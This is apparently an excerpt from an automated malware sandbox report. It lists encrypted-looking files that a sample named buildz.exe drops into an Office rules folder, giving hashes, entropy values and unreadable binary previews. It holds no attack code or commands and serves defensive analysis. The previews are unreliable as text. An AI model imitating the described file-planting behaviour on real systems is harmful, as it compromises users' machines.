Preview:	<?xml..3^..}....F.+N......./p..(.x[...........V...4.=..... a...Z.....p..........}Y2+x\|.@..4oc.Q4..7W{8l.&.z.1.D..A.\|\U.t..n...e^..l.&..+.Dl.SS=Z....T.....z.@\|..]... ...U.U.).......J.Qf)..Y..t.......@..M.&..4........T..h.d:0..uN......[.C5.....~h2c..$.....6.......iZ..Pu.3~....lHQs?........&.i/.uks..y....Pj....A:.....G.,............+'0..oY...:.L.s1.._.HNDm[.......b...Y.....e.w..l...#.A.a.a-a..3.b.**.R.r.xR.f.q..`:J.D..s.^.`..._..`...0.eq.^....8,...x..R..0.1...0.+q.]i6C....K&.\|';.v../.....brO0 .JU..... [..E.V.7....!.{-.XH..uz#....$..~.....Y{..}..W..L.`...Q.....N2z1....@....I.......2O...5J.......;VH.Y.2+G...p..:.....s........U.!.k.%:A..5.X5...{.9+...,.?.%.I..C".......3X.v..V.y....x....I..M.Y....ucn..C......Z8..]...pm........14K....$.=?.......=..S........X.F....H.....Ia.iVW..@.06m...T.t....(u]./.[.t.?WW.uJBt3OO#....../ ...m...._D....J..0.iU.go_R..K.-.j.....e:..W...^....Fc......<(...q.`.ik...y.U.X.......r...(....!.8gk..YN" .......3...7fp.-..C\|..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700900v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1704
Entropy (8bit):	7.871561681537455
Encrypted:	false
SSDEEP:	48:HVDTABpyN80al/zSYgA5/sS1g64HMmkNh8V+u+D:HB5NYpS1m/s2gc8xG
MD5:	E9C56556523A846F19F46C412398BD1B
SHA1:	30026E198BE1472F983DDC8B0ADAE14EEAD73300
SHA-256:	52D99F54EEBBFB2CAC6AE39C95C18FA73F666183F7CDFD55F2EEB74AB434DA76
SHA-512:	FA083C7BE82634292092C1B11D6D57AD3B27CD9B26B7F6E4BADA830B47ACEE0BF61F01072C602057CE64566BAEB865EBB25D0E42F7207F77E295E4A17C3B79E5
Malicious:	false
Reputation:	unknown
Preview:	<?xml..[.&...#...9.. 3..6.....s...............N..`..G3...._\..._....).^...d[X.[.L.=...[.._.e^.&...&.0..z\..[..d.e.._.q.6......]..oM)....O.......D.m.a..'#.B..#.. .#.W.X...\|..q........9'.{..B.;Z..J-./....t.QTj.~..rF....DW.#....qI<N..=/H..c9..&h.7:...Z?.f.-/.F!d..M........4W~.S^.J.I.8..y...w.t:.r<.._.YP.H..C......6L.].D....w&D.1..li......,.{..~.=\..J.-.&DWT.zd..~..;2..O..;..b.. .%..(.Z.{..9..EZW.9Pp................n.H{s.Cc.1..;~H7...c..9.].E2.M..@."..fx.}....gQ..w.........R...Q92.2.\e..aG.'....Xw..rd\|p..L@.GO...BQ.=..._..wb.)M......^./Tl..$...T../ZlB.Y.r..{\|..r...6....l...^W._......H. ...-...%..!.LO.j;.....4..$....}.8..E..h....._....%.....$.~../....Y.k.qH% Z.XX....d.D.a.....jQ>...@E\|`4.n.cl....b2.....W.r9...\J.q.......__..pqfiH.....P.HZ}(......@l.g.$..h..c&..Pw.......;.6...4M..lS.S...5.{z..&..:......$.S...k.7g.."..y.v..O.@Yl..^."}... i~.&m...!u.n!G....-...XP~HRO-Q.k....z.9.K..@.O...*~.q=7z.{..3..O.....l[.7)....}e...n...;.....R&...!

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700901v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1741
Entropy (8bit):	7.888519636816527
Encrypted:	false
SSDEEP:	48:PAyyInmdj/qunROCjBDj0lVpyr5OcwRtkd5iYP5iYD:PvyInmtqUOCWlwOcwciY8E
MD5:	69FCC85A17CC431A8C68230361F2F1F6
SHA1:	C858264444BFA881D949C59E108DB2C3FEC440E4
SHA-256:	9C5C27FD528D0577F7D5C237E54041D26E7DE31961215AA70DB607967C4C27C6
SHA-512:	7C576B88B63A65F616BB9C51A715DB7A45AC179B5DAC92FE8205D2CD31B4E81AC50F0488E7BBCD6827298C380D5CD9C354B011278935B2CD268A8800C2A7586F
Malicious:	false
Reputation:	unknown
Preview:	<?xml.....V.r......v4.c7....J/.AEEtu...lQ3P9.32._~.P..]....G...T.6r..~.,`Hv....G.HC....>.n.g..F:.$....v.r.......d,.]..;C.b ..o.DC...{.3.... u..C.}E.X[....~?...........F....X...g....;...`.....4fl...lI..<N.......%..W].....h<g...Q.M.9.)UN...,...1.../.6.....4)..=...M.......em0......3..).{ ....66Z..J.7J..l.+..O....4..%.<..../..O...~..:......\Y..Pwp...L..O/c.E..Z..r.,.d].uf.t.^..B.......... ..i...e{..._...E...P..a.na..U.....v..7c..d.?..?o.T....{.....~))..>j.....b...7.`\..3.C.t..,.........w@........>...../...0......p.....6...!.LZ.B,........s..0HA.0,.v.&s...Z...`J...,...'.?.~.z.m......9...J.....t...6/....F.......wi<N. .#.A%e.....2..A.f.11Y.m.ay.....~...[>.X..Q.q/m.....&...hfPx..#......u....)....?.X.O&8..?7.{.w$..`!.'......m.}bm...5.3.l..ow.t..L...k..@_.H..TL^.Z.v...z..7..Ny..6...P..id6..xU../B?..fp$.M\|.9U.....4.afyH}o..qA....9s..h..\jl..d.. ...G:[./.=3M..0.+#.e.#."..$D.6ja........j.....Q........k.R.C..5..Wo..!#..a...+:#e........yJW..0..M.*

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700950v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1702
Entropy (8bit):	7.886017802460559
Encrypted:	false
SSDEEP:	48:Kmvb7EWKoXDyeX3Z/B8kwIsRFhXkSP15Z3SgnqIyoWGD:KmvbgWKoXbtB8tdRHXku4oyo7
MD5:	738A1160AF7626309B4131D630560BF2
SHA1:	0F329734FED5E9EF02B29195FF36D7B1E74DE07F
SHA-256:	4C449C0FF0608E8EB296F6AAB2E61DE9A1AD0D2B9FDC0696203DB40AF3B2AF02
SHA-512:	6B2FF105400F353828DBDFD8BD8BC10D6F03FC53C276BBD88CF78079AD4A4EAE033401D43625635BA36E34BA6B1B6DCBCCF1651E1BF695FF57A2440011C9EE85
Malicious:	false
Reputation:	unknown
Preview:	<?xml3o&h..2.;".,...`.:......d......`9.......D'T...p....BX;.PB..P8!.4.s~...y......\|.....R6,.].......=}.ZN.@'I.O..4...{P./p....x.W.9.".G.cdj.cT...T.@.$..c.%.]v...L#Zm.w.....,.O.u...w"5..BO..). .XAh...BF...v._.........pBxF......(.....`...t.o.Ah.."..Nh.Yk..Nr.:te..B0(%..w..b..g.c...D.h}"Z....751'G. .....Q..uk8q....).M.J...KNg..^....7.i.Yq....J..'.......Y....h.d.:.ezv.H&...?.N.a......5.'.h/z$.zs. .....~....R..E..........3..].K.G....L.'.U.@C.j.>.v.@qKr..6.U..z...;^X.0....\|O..E...i@.A..m.C.x(.M......eA...#.f.e.^,.'.*Q..Z...8 po..E~.W.Y..s-;..5...&...w.=m.Es.H.9.....nT6S.B5M./..<.w~..S[f...b.....R../4.......f#.QWF%.D.J7..V.J....:y...^....w.u.j.q....F....Y\...72.2/...&..~I.d...-...P}}$].Eu-a...^.6.".............!.k^.~gT.a+.....Nj..&7`L...9..,..:...-.(a..o....m.>_J...>)".. ....-p..j..4..k(.Gm.u.j8[.l.W.(n....gD.....Yz.....F.t.,..].R.5.8..1...\|12._:r%.&..~MF...D:.=..6?".p.z.7.>.....k.q..O.8......5.......n..]..P....m......h....UA...(Hel.j?8>.i. ..._.6..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700951v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1739
Entropy (8bit):	7.873975852758664
Encrypted:	false
SSDEEP:	24:MSDAhS7I9pUMWgqWT1B3yq7zLfi9k4jmOf2mmAmBmZiG9TMARx9otcQ8HwNPDbD:1AQk9fIgCEXgoO1mA7A4Q/XD
MD5:	67B0820A792EC905C3B5B276CA031A18
SHA1:	44C55F38158A11B492B5D866400F229E532382C5
SHA-256:	5646ABD954D301840D5134AB92F96C47F11AD7862185DFC6450CAB8AF1AB036A
SHA-512:	5D549FD719956290C5F350BA01B3CDC39CA66F3C87531B8446F26DD5B4BEBD38104F39BD620C54B0C38167705222C43E158084FC77C577AEFCEB10B486621EF7
Malicious:	false
Reputation:	unknown
Preview:	<?xml....._`.........,.}.D...x=6 ...U.x1p.....^.t...b!.........1...o...H./..24f(...........3Y.J+....:....)..fUi.$....\|. \|.c..N....q.M...."J..5.....o4^.).7F)....Y.C...U.}...X.26...M...w.Y.....kb.U.X. i.P.....G.qd..X.......j2=....Q/...t.7.+.+........X.....X[Y...?...@7.#.\|.d.91}(e`...B3e?(.....<..^F.>`g..............J.%..J.7.L...y .s.I"..<.....;.`k..y..Y.c....'.e.l...................,..wJ'W.d.i0u..%m3...V..<O.\|[.x..u........<z....B.y6L..}w.1.x.H..."..v...x......g..s3.oZp...'.$.....58.<..\|./...~f......`......:..#q..g......j.....T...F<......aA...Ssj}.....tV...................C$f`.U.0.3.Vt.JAB....y..N.t...)m.8H........)...'m&.R....#.o_..`....?d..X..s>......jq._U......?\|&....@B.[.p...t&.....=w......<)T0..xi~e.FS.v...i..U&...;..."8 .8..B...0..l..,...U....d.%....S.d..e.Q.k.>h=.K.....r.>...3.........4.F1.t..?.{ETJ.d.h.J..d........y,<$.e.UG..{i..A.........c,@...e._..L.Dl.'...;.Uve.o..J.....IP..s...I...Q.f..NM..!....r2.>@z^.[.~.w...-...L...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701050v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.848884931061699
Encrypted:	false
SSDEEP:	48:rYG++Uwtsw02ghEC84xeeEYJSMRoI1HA/Y7wD:xTteZ84QCbRoINN7s
MD5:	3346C3553A9C59E643440563710F32E2
SHA1:	8BA4AB5EB47F84AF69DA3B1276F669B960AE8945
SHA-256:	17C3D3AED0763246220F63A8915175D5973EAD45AE173B71D470BBF21BCDA761
SHA-512:	34557184545E7BC2D96FB7849B702F540203FCC09CAB913C6A37F098B2DF5A0FCDEA84BF7EA22BD3446E4140CBCFCD4EC02AD1F4319AAAA9911830295D9AD0E8
Malicious:	false
Reputation:	unknown
Preview:	<?xml.g.7.J.T...Z.j.;~w.....K.EQz.?LP.......3>/..K.u......M...A....._.'....tZ....de.R.uj.a^B.;..y...$......]10q....P2@'...0..FQ......;.....Bz..J`.5\|.8.MK.yQ..X...M..f.V.+y..F......tf.e."6.,..3..j.z..[K....i........j:8y.l,h..b...._..d....7.B..[v...u.C2...)ZI........f..>V.h...B;......tJd...(..vk..frx/.,.J.^.."...TJx.9..{F.t....k....\|....V..m.Na&5l;J2.I..4..9^.Z.....-.`hgEY...,Wa:Uf....L...OK.F$......U4.+.1..w0.x..A$1E?GI.p*.l...\|.....7"..j..UU.\|....mu....+.2....LrK%@...j~....`.2...5\|.....%.....4.g.t.2H.>V..M\... ......DG.).....".E.#.j.)..s....UR7S......aP..9..iQZ...C......3t.)...;...`........[1....=U5.F.\|.....e.f;..#C.........Pj.)".....U#,I.....?+~1..l..`....C.r...F.]...1R../.K$..uX\-.......W..DT..=HC~.aO.Q.,@bt..aC.W.k..6((...7,.Y1.&....Zr..K..ze.z.L...v...2.....Rg..........F.m.a]..J....7...T.......\|Z...G...$/l.5....d.e.q....UB.nh8.........Vw......0...).G..#.v.V..I$....,..!.{.~..R+..5..d...Q9"..M...63..?..s.7..~..w.{.,.7..z.(.U0.. V"...+

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701051v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.886868178904105
Encrypted:	false
SSDEEP:	24:RXsAAJkjCv6w0016RcxTkAaEYwfkwHfnTWxUCQl8Mbxn0yZupWoXIFUwbP6/Mjxc:RXmJew0HglaR6/ThhEpeZPZg7umMB32D
MD5:	CEFA7AF7B7C01CE2D7E4E5863C44E877
SHA1:	16B3DA28ED47AF8DA130B0C4E28CED19E3D8CA5E
SHA-256:	48B925A5FFF7AF70E7F76FDD10A68FC6307E9B81BE66D8622769F47D29D522C1
SHA-512:	E0988949A2DE88781DE19B88F082C99CF6531C46B5F090ED6671E3771AFD4D4E09498E65D07AB3314B6F28E278D64DDDA44C60B95813C6533DC0EE8551F21CB3
Malicious:	false
Reputation:	unknown
Preview:	<?xml....O....L.iWP./1._R)....&...I....O.h\i..L.,{...;..c..b.~.......u..Ekz..%H..D..D.8."......f.......VJ..`q.....a3.j.F.'tI.P....S.x}.X.G6k[..".[..o.s.(.q.c.b.y&.MN'.J....\..........W0G.3.E..@..W..C.T.y.B...7$..H....c... ......Ih..;=..M........B.f1_.......W...t.... .-1#\....eVX...q.......@}.y...ZZ..g...}....F.k}.W+......S..H..$.".H.%.s....c..I".5........"...x..B.&...}0.n.........3.M.U?....E.y.!...2.b..%c.tA. . .a$..!Y..]...vlT@.7lv..Y..A...A...DY.bC.(..GC.....\...jIX.-....*..D.-"..-?d.>..Ml.....@.$..a_.EW....yL^..+.rT............`G8..&.....u?l.....&.QF_...b#5. .&.UL>rozM...p....5...==....w..x......q..e.......9..........ly/..S...../....g.....d..l.....B._0......n..!f..j..Dm...z....s....Q.'..o..?..t....a{...J.....f2..=[cN.(...=.F('....vz.8.6gL#....%..F.s....y..}.t..!.M.Y.?<.2.....xaJ..`2.............;....X......%......7..s..o..RxT........&o.9..<.X..I..j]Tt4..w,.iG(.......#{.......9..[..c.">:4...z.pu.!..2...s.n.....&

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701100v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1707
Entropy (8bit):	7.899490564819576
Encrypted:	false
SSDEEP:	24:Kt1RmPqDluyaYeaohQrg5wsk3NExk4TNi2HUrustxM1yOP+OFf4t+hIZgWbD:4mquyaYeaoQsa6aKNi2HQf6yOpXOD
MD5:	FE0C57EDD66BB8170701DE75F6244711
SHA1:	F9D5FB2536593AF7C2F2F6180D5E91B2D75280C3
SHA-256:	E043BF292333F6AA0665202DF1E906FF09B8C2D41448FE4A7A9ABD3094B6F810
SHA-512:	E0200AF1C1B0FC916CD5B44157C8700C19D5B3892EF4128DF4D19CA989434C71B25CF0ACED789AA3CC50DAEAD0DDBE05EBAAC3376C773293037542AE39F48705
Malicious:	false
Reputation:	unknown
Preview:	<?xml..\&.X.G...=..;....l.Z...........LT/MQHiZRC\|"{..t....y..c...5.....x.tCh.....d...{..g...N.....w..Jh+.x.U... ...bB$.....?,.........^.mA..[.8g...Z(......Q..q..M..5.<....0.Y.;4.+....=KdC....a.-.t.eRl>..SM...uY..:.s..eP.......^.x...$O.`..n...+.3=a..\|...8DL.'o.i.......j.m.......v..U..H.d._.......n.),Q...Y..M..Y.BGH...D..K.3.2@.nS.T..q.......Bd2....~........D.Nn.+.N.;s5.....U../..!..pJq..c...n....XmJt...Sv....+...oI.<{....J.$.[.:..J.".d.......+./AF.D....;L......}_...m..>.Hq..E<`..wE.....(-(.O.?..P..F...*..F<....r.......#.......L....% ._.."...#vK.......<....F{.uz. Z.......A..!.....s.!B.....H.R. ..D..F...c...$.....6.{....\.6..R.>.fNZ.s.b>..t...?..=.m.......!.I.P.3{h.U..j.k.].%.b.`......?....rv..x'.C..(^8?......Xf[ ..B.;....R7n`.%@.x7S....w.DP....!..x..5.FU..~.0Yb.O...W.........R..9.w(..M.........#k.......d.........1.............y..UHd.D..W.G..1.}.ft.S2...0.....\S.a.4.....9(......s..u..k.&'.X....aO1.&..}.u..3....?...O...DO....6

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701101v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1744
Entropy (8bit):	7.885539353545494
Encrypted:	false
SSDEEP:	48:PwCz8q2/2vD1HOIA71twrYvmvGZM1gBaIRVd4e0+T36h3kanuBwBjD:YCzjBOIAzwrhP4bVNehUtev
MD5:	681D0113D53939F9AA7B69F26EACE414
SHA1:	0373C0E8BCCD426EA3ED152883063455B33878A5
SHA-256:	7444EEE71990594676DD6026B3D18FCA6CF8D5FB0A2BBC30AE50CE851A898A72
SHA-512:	F31580400E5D86FD652A4017132FE42A091B04ECD1305A2A4DD277F1A6B50BD2BC83AD59E9F86CBF1384E5C1B35415A723FB7E2EB82E325984F5FDAD8F091526
Malicious:	false
Reputation:	unknown
Preview:	<?xml.......[.....d..PUn.,..g..7Ms.\..t?".L..K.d.,Mk6d!...\|C.t...kt.KB...........C+/9.....K3X...Tq&.I../.v..\...T..U....2P.}...?.o..JB.+..&Q..&.8...M.....r.)..N\|.+..}/1.p3...c`5.......r<....[.9........v@[..<v......qR.:w.....i_.b....w..T.'..9.U ....r.p.f......4..6..>.Cgr.60..W...r^.....5.1w......Nb..O....h{)c..,.j.......O......J;...6.....m..L.:1....?7O..h..'.J..V<.-. ~.~+....H.c..Nk..\|L...W.w.........z.~...)."T..Bwy.+. ........z....\|...k&t..h..Q._...J..c.E.h].x.......Wl=.B....L.e.<.q.....{hp.....Fh...<........~.J.N..".%....eX............&.............@?.....:b,......d..s...Sg).x.3....m.1.0....<...P..!O.=.."..=........."6..H..a.{.E.?$3L.,.".~GY..6...r._.E}h[.X...3..H.fj...h\|Brn..i......G.T. .u.........b.j;......'vn.y.S..UL'..4]n.8..{....Cx.+.k.t.g........];........;.c.4.,...........lUH.R.T.....i.a.\Cu.7J+............d.)..P...2.*.rw......1.U..]}.<..J.~.c5^.?..........).5?.N.X..H".XD`M.&K.(.3{.Pg...Q..0:.q6...B.{.ncR3....Y..4.\VN..L...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701150v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.893736564171108
Encrypted:	false
SSDEEP:	48:t0wjNYSG3AphsTc7PsBSA5ErxJhcgVEY8XBluJxD:tbjif3A0T8s4A5ErtbVEY8305
MD5:	511B1161C7437FEF5CD1D2F92E772DDC
SHA1:	9131FCA929284AA4A4A449CF30389EC09C3863AA
SHA-256:	113D18EAA201E976EE270C7D8547BE3597CAFBB4BCD65C04F33E420E4CC1AF78
SHA-512:	208AC5ED5F33B3343CF1144F26AF0120BD69C33CA1E020FB0CA24F41DE7340C876228CCA13FD49E89266582B38B0DBC59AEC49EC7425BAF081233894E40F34C1
Malicious:	false
Reputation:	unknown
Preview:	<?xml^.../1.....Y.....t..N...M.....}e..<......@..m..\|......l..QB....._.r1.fC...O......VQ.h..Qa.<G.1-.....p..r.G ?..+...d.F..e..T..W.....H.^k....Q...9...Y.-H?k...+.s3g..hOz.A~..lv.....gD.........2.X\|s...X.........JP..K........5....].`..'...sKP4..7k....L...86T....KKfE].I{.......).v.j...\|.a.3A.P....L%....Q..h.y.%_GH[~..P0..w.j]..?.(...;........L.vq]...$.S.y<.sk..+..4=S.....H...%a.s..f.V.MP.2a.f......(....%R;..%..>.Jk...p.....<...........IQeO....Dc....o.>\|.e,..f......U.ea.....V.".......{..P...........G..).5.&6..6WN..!R,.s).............Xv..s..4.w...3{...........m..k^...V\..y...C...#.k.x...~..x.Y..J..KS/P.\3...~.!5]zB.........O.s...0..l.+.b.. h+.oS..y...;X...-......)..5_.@.....z.1VS..j..+.<.W...Ol.S..#........T..8..q....#..\d......aJ...Zp....2......J..;.L..1%.l...T...J8N-\|..:.Ld2.v.....!..`.......^...}&......e/V.6j3l......?FJ.&9.=.r.....r.:k........G..J.K...-...c...9..kG.?.].$.[....g@...$v........o.?\. yn...nu..PA.\|......[..Z.cS..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701151v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.855604352070663
Encrypted:	false
SSDEEP:	48:wjAfCWiGuwABCdJsS2Ao6SNV+pmVzmqcID:wjNWiGubCvq2U0mVz2U
MD5:	1C8F4697218AE4276F862F583C412871
SHA1:	80B049B747B6D6296033A9AC2B5D48D5E2CCE171
SHA-256:	F84A6ADC71959A06E7A813FC97A54081CB2A8D9B675B2DA8B715F85F6217C298
SHA-512:	A8E9EDCF693CE73E5AF6F4C2EFDA358659531FBA0DF17FAC1624F6FD0AD6F7F2C2991CAD52BF5916033CA4339FB7A7A2E455F33D0C2E39223E8DE2ED20B052E3
Malicious:	false
Reputation:	unknown
Preview:	<?xml.......!..,:0..x.RF~C......Lw.J...qL..o.......z...tj..h"nm6\.E3...W.u....S'.M.E..fg.oUA.(.........#...(...zc,5.#...5.4?Dh..%j9..Z$.c..=...>..Z.H.......C!zn.........m0.f.Z.gz.#.(0..\ ..S.aF.0..A. .0.?.5....<.N..,R..`7..5m..I....w.)...f..i.rf.~..cHY.x.....C._H0@t.l..dl?[U.r6.i..d.5PUh[......>..z_..T...X..!8M...!>.}......:;.......$.#..t.q8...E...!.Y.0"..j..^.....o..<.1.....>4....N........r+...."...B..9C..t.&.h.>..{.y..8.sn.;..C%C....\|....o..7....".0.VK?4..C.\|.VN.E.....m.._D(S..W.}}....Cc.l.%..2.mR....8..sm...^h.`..Y...G..4.4.6s..-.:..h-}.%..3H..=..D{..}......V`im.'........O6.Kn,..+D$.D#...3...5....s..QE}..A..S.(x......).@........-@....7.C..b.....k...wM.x.....~.Oy!..X....n.."L...x.m}#.....j....Wf...L1.L.f.?.'..L...Es...m."..._....r<....\|..~..@...&`.l....eD.3.a..S].....J.c.4..f.:.z>.0..+.p...9h.FiJ..z.T.N..X..{m\|..^.z.u....h.{H(=9q...S.!.K...o..U..I..A.....ZX....+./..r.M...r#,#.t..x2.......W..71".?..._{....9......y\......L.*..~..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701200v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.862813125903718
Encrypted:	false
SSDEEP:	48:jSklcBnzEwX15MGQ+MHPakkQCRhlzulM/72yjIRD:WHRzEwX1552jWhBulMT2yg
MD5:	F3A6F54D201362FBADADD8B4B780E734
SHA1:	E02EC465578F33795C1A9C01B4DC59B6DC864FB4
SHA-256:	51273640D894167C557FBF8F73061B5B5E81DF3617A07200F39EA14AC0C1F776
SHA-512:	94871F42EF3B1D4F8E2E7A82E6F9122F0D07D5F2D067CB83F98DADDA9DC131E167CE481C1A48A54DC1DEA4A674EEAC8DDCB5A6F1998D97177C9DB2FE6EB1F83C
Malicious:	false
Reputation:	unknown
Preview:	<?xmlfk..&a.)...B..........w...M..<....}1.].X.B,..5.on..A..m&.x.k....,.....y..w.,.N....w..Me...P..x.A.....XV.dj:..\.Urj.....CG$..+...\...D.\|...>..c......7pQE.U..V...xx..bLS...1Z^Hqh..s......!T=....xM..s....}.....G..P;.v.s.....Y...EzU<ybK....c.4..k..Y?.t.0...1.}P..L.....f..dx.F#.W...m.E.a..M..~.},2..:a.x..Xj..;i+Y1....<.v#..-6.._..Yj....[.................&..d5..X....<..........'.k.....K..f?..#.V..I:...gp.U8...c.8..`...R.PBd\......9....>...Bgd.OT..;.d.\t...,.,..gj[..,...C........M-_..l(.0.JSH..h,-...z.$/..M.J..v.07b....... .....Zz=.N..D.NX.......F.'>.-.m.C!o.f.Ub...9.R.7.Hb..&......O....L....Y.+....3.1.u.....?.......2TKJ_...p....W...x.$6y..n..N....m/L.D.G...c...$..G>....#2..hz.k.l;..(%m...RU..3.H...(.e..4...O.R..).. ....G..z........1..:2_..+.z.u.VV..}...U..~...}.RbR.^._...^t..i.@..o..M"c.h.8..L.B...........zJ.M).\.;.....[..<.J.\|%...W^.3/....P!)J.f.......6L..<.. .y.$..s..;..,..\|.E..E.L...Q....nN.^N..g.z}..,.L7b..+..$.8..jB.[.M.l.\U.d.7..O

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701201v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.875736508141272
Encrypted:	false
SSDEEP:	24:pppzRbuRgwhJtHjJSHosURNWG7vJAljahvQvoXz11fwkaqt7d0qp0RMCYwdSjKLp:pp+ZJt8UBvKlGhJwmdFy94GfJD
MD5:	D8B852C1BEA5585D4F79014EB1177CFE
SHA1:	9288FBC0600DD31E46E607FA2171EC97D2920950
SHA-256:	B4614E57450942DB737E6ED48A9BC96FAB647C5A5297A1DA031890480BF679BA
SHA-512:	4081A43846ACD9A514B743810FFBF1319BC8E545C38EFB2CDA98862F97E136E6EFEDD0A4C38EEB8B2341CA269315A658E77C1CF320F633CF62BF53B4E1AEE7FC
Malicious:	false
Reputation:	unknown
Preview:	<?xml......b...z,..........P~0U.X..v8.$o3~p..\|...v..j[...2.....0...l.u..z..\|...x...k9.m..;.........wm.......UF..e4W.0......l.......:...w.-"..)..s.J"..,.......R@.9;.........Q..~.......cy.....K...../DJ.ZMJ...\|%...3...?...K.N<.mIS<....Ha...x..i...&)...W.&.8.....c_...x.... ....)\5.)Tc.=..r=X...U.....7.\|.x..l!(+...G..8x.^.D.=Y....'NW..[k..2...%_V.!ga`..%}.......PR[...,.a.(..<..p.^....JP{>/wPh..8.;..S...Q..A.=L?.c...C.}.9.B.ws......}.....Y..\...O....R(.#K@..7\.dg......~..F..1q.;.2.9.Q:.K...T.........Q4...K.0..O......a...o.e.gy..\|..3.H..1g^..F........p..R.....@H}.k7)X..$..g....;-.$.T...J/...,?X..a....w.....<..2to..t.....+s\|...5F....C.0...nf.d..v}^M.<.-c.1.n._.[.0..).v02....y..%t.(...jn..].;..Z7'..]...1._.EYW.....g..6..fSjk......f...S.....K..>g...AB..t8eE2DN".Eq....)...........}.. ...$.d...]...b...X_C..>..l%...>6..#..&.H...Z..Z6.e.......!D&.?..`..~.v~......6.R>#'.>..?..+....^..L.k.tf.f.U..<...~D.0.W%....u.T.t...TL.t......7...oR\w.SY\|...T^

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701250v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.886878844464877
Encrypted:	false
SSDEEP:	48:QeL6r9vBWlho4nm058y4EKKdfgFO8hjwKnsPBND:QeWrRUhzZ8y4EPd18hjw68
MD5:	8371585336C500D4E5EA37388AF04DC6
SHA1:	ADD063413BD2E13C25DB0FFA236AE5667113B4C7
SHA-256:	1B842D59C1D0578A70A0D099C2E550A8DE38867DFE55D7529F8A42153AB8010B
SHA-512:	64E0AB625E75AD241803EDCE48AC1D0B2FF405B429E2CA23E9C56F43E6BF13EE80B40B2D11C121D837B4B070DB72E4C77246A6F7F0933C6AC0C6C0230B46347F
Malicious:	false
Reputation:	unknown
Preview:	<?xml.wo.d..=.........5..:.v...-.Vo".....z..."Zw..T0..5b}....Ld(. .@P..x..$...n..K..3..c.U$...Q.2..#..+.{....(2.....S4.E.!.XZ.+.o.sr...........2TY(k.h....?.v.X<.gW....2.gNj.......!{$.&....A..).b7.-La....r......F[........oV..'a.<e..rB..%`z%/.{..L.au..VS3...O...@.5.....9QI4B...$....a.......)...;.!\|H..Ep...d..i.:gop.h.>)4...?c.!3...Q( o............[c.........!;zk..7....~~n.q..a.sH.0.~s......'..y.#...W.:.....T-hL......`.....1...JI..u.,/.eYU..e...A(..c.....p.Rut/sd..`..,.z........b.$......51K.JwR.C...x......?.Z^..B......[4.=.i}\.Hq...1.]9X...;.]i...O[..$.+H........fw.XZ$.q.3.M..*.;...l..6.'.M.(?...t.I../.K.....D.}.YH.".:M..6...U.. \|..\|...QX...a.........Pf.z...a..YPd..."..B..\.k..:..1..a.. .O...6.^5;..l.s..P..J..................Whx..PyA..LP.`........;.....r....^I'.....CfL.8...8.(./\|...Y.X#.l....$L.b.lV..R3Te!....dq2.M.rY.._.f;y....\|'\|...~..g(..U.{.Z.X..Z....\|./.i..P....)..(.4..+.!.hSO".n.?..xG.....8..c.O..V....).L...3.$n.M."..wK........K

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701251v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.884184711511322
Encrypted:	false
SSDEEP:	48:xqnv1Q0Y50qX/ZJc5CeJg+KLKs90Q5hSD:kqP504m9KLKglh6
MD5:	21A3603F77D1E9CDFB2A1059DE7D7A8B
SHA1:	A2937CAA420DD569A5A5D3E7BBA8B351122853D5
SHA-256:	272FB27AB209BC45CD56D9F3F69FE354637518A2A712F5545DF8B1854D02A26E
SHA-512:	BE73F1CEE7046C0AF6BAFA86C418EC7A2DDBB87B49DD1C01FAECD5B6AA76FF03AEC35219E1BA93B69D8C2C3EE91DDFF035DD0A9ABB8AF31DBDDEBBB7E2DA1965
Malicious:	false
Reputation:	unknown
